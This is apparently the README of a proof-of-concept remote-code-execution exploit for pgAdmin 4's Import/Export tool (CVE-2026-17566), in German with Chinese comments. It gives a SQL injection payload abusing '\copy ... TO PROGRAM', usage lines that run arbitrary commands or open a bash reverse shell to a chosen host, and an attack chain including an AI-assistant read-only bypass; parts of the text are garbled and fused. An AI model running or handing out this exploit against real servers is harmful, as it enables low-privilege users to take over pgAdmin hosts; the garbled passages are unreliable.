
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC – TO-Programm-Injection durch Backslash-Escape-Diskrepanz
Remote-Code-Execution-PoC für das Import/Export-Data-Tool von pgAdmin 4. Nutzt die Diskrepanz zwischen dem Klammerprüfer _is_query_parens_balanced() und psqls Backslash-Escaping-Semantik, um \copy ... TO PROGRAM einzuschleusen und beliebige Befehle auf dem Server auszuführen, auf dem pgAdmin läuft.
Hintergrund-Angriffskette: CVE-2026-17349 (Workspaces-Credential-Leak) → CVE-2026-17351 (AI-Assistant-Read-only-Bypass) → diese Schwachstelle (RCE). Alle drei erfordern lediglich einen authentifizierten Benutzer mit niedrigen Rechten.
Das Import/Export-Data-Tool fügt die SQL-Abfrage des Benutzers in ein Jinja-Template ein, um einen psql \copy (...)-Befehl zu konstruieren. Der handgeschriebene Klammerbalance-Prüfer behandelt \' stets als escapetes Anführungszeichen (was nur bei standard_conforming_strings=off korrekt ist); da PostgreSQL standardmäßig verwendet, , sodass das Anführungszeichen direkt geschlossen wird.
standard_conforming_strings=on-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
Der Prüfer geht davon aus, dass sich ) noch innerhalb des Strings befindet → die Klammern gelten als „balanciert"; psql schließt den String bei a\', ) beendet die \copy (...)-Klammer, und TO PROGRAM 'cmd' wird zu einem aktiven Befehl, der von psqls popen() ausgeführt wird.
_is_query_parens_balanced()); Fix-Commit 1496fabeTO PROGRAM-Injektion, gleiche Familie)tools_import_export_data-Berechtigung)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Parameter | Beschreibung |
|---|---|
--url | Basis-URL von pgAdmin |
--user / --password (oder PGADMIN_PASSWORD) | Konto mit niedrigen Rechten |
--command | Beliebiger Befehl (darf keine einfachen Anführungszeichen enthalten) |
--reverse HOST:PORT | Erzeugt eine Bash-Reverse-Shell |
--server-id | Server-ID (standardmäßig automatisch der erste) |
--file | Exportdateiname (für die Konstruktion des \copy-Befehls, standardmäßig /tmp/pgadmin_export.csv) |
--no-verify | TLS-Zertifikatsprüfung überspringen |
Ablauf: Anmelden (CSRF/Session werden automatisch behandelt) → Server auflisten → POST /import_export/job/<sid> mit konstruierter is_query_export-Anfrage senden.
Nur für Sicherheitsforschung, Schwachstellenverifizierung und defensive Tests. Dieses Skript wurde auf Grundlage öffentlicher technischer Analysen erstellt und nicht an echten Systemen verifiziert; die Anfragefelder müssen möglicherweise an die jeweilige pgAdmin-Version angepasst werden. Bitte nur in autorisierten Testumgebungen ausführen und nicht gegen nicht autorisierte Systeme verwenden.